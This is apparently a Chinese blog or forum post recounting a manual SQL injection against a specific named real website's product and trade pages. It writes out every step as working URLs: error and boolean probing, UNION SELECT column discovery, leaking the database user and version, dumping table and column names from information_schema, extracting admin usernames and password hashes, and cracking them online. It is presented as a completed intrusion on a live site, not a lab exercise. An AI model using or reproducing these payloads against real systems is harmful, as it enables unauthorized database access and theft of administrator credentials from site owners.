http://www.rfidchina.org/products/product.php?id=9740
URL後面加上'後,返回的頁面雖然沒有什麼錯誤資訊之類的,頁面出錯缺失了內容,
然後是and 1=1 、and 1=2 ,分別是正常資訊和'的頁面,在9740前面加了個負號“ - ” ,它沒什麼意義,和and 1=2 一個作用,出錯,
http://www.rfidchina.org/products/product.php?id=-9740
然後是union select 聯合選擇……最終得到
http://www.rfidchina.org/products/product.php?id=-9740+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
這裡2,3,4,5,6,13都在頁面上有顯示
因為空白格和+的作用一樣,而空格會變成%20,所以用+看的清楚些。
user()獲得串連資料庫的使用者名稱、version()暴出版本號碼、database()暴出庫名
http://www.rfidchina.org/products/product.php?id=-9740+union+select+1,user(),version(),database(),5,6,7,8,9,10,11,12,13,14
得知上面的分別是 root@localhost ,5.1.24-rc-log ,bussiness (庫名)
GROUP_CONCAT()查表
http://www.rfidchina.org/trade/trade.php?id=-9740+and+1=2+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),
4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_schema=0x62757373696E657373
??0x62757373696E657373是bussiness的HEX碼,不過什麼也沒有得到,連顯示位也不顯了。
改用 or 1=1 、or 1=2 ,
http://www.rfidchina.org/trade/trade.php?id=9740+or+exists(select+*+from+admin)
很成功的返回了or 1=1 時的頁面,看來有admin表了,
接著猜列名,admin失敗了,是'時的頁面,又試了username,很成功
http://www.rfidchina.org/trade/trade.php?id=9740+or+exists(select+username+from+admin)
該猜密碼列了,上網上找資料,hex() 、unhex() 。於是又回到了開始的辦法。。。
http://www.rfidchina.org/trade/trade.php?id=-9740+union+select+1,2,GROUP_CONCAT(DISTINCT+unhex(hex(table_name))),
4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_schema=0x62757373696E657373
這下把各種表都暴出來了,在裡面一眼就看到了admin表,果然有它。
http://www.rfidchina.org/trade/trade.php?id=-9740+union+select+1,2,GROUP_CONCAT(DISTINCT+unhex(hex(column_name))),
4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x61646D696E
終於看到了:username、passwd。
??0x61646D696E是admin的HEX碼
http://www.rfidchina.org/trade/trade.php?
id=-9740+union+select+1,
GROUP_CONCAT(DISTINCT+username),GROUP_CONCAT(DISTINCT+passwd),
4,5,6,7,8,9,10,11,12,13,14+from+bussiness.admin
分別在2、3顯示位顯示出了username欄位和passwd欄位。
密碼是md5的,在 http://www.md5.com.cn/ 解了密。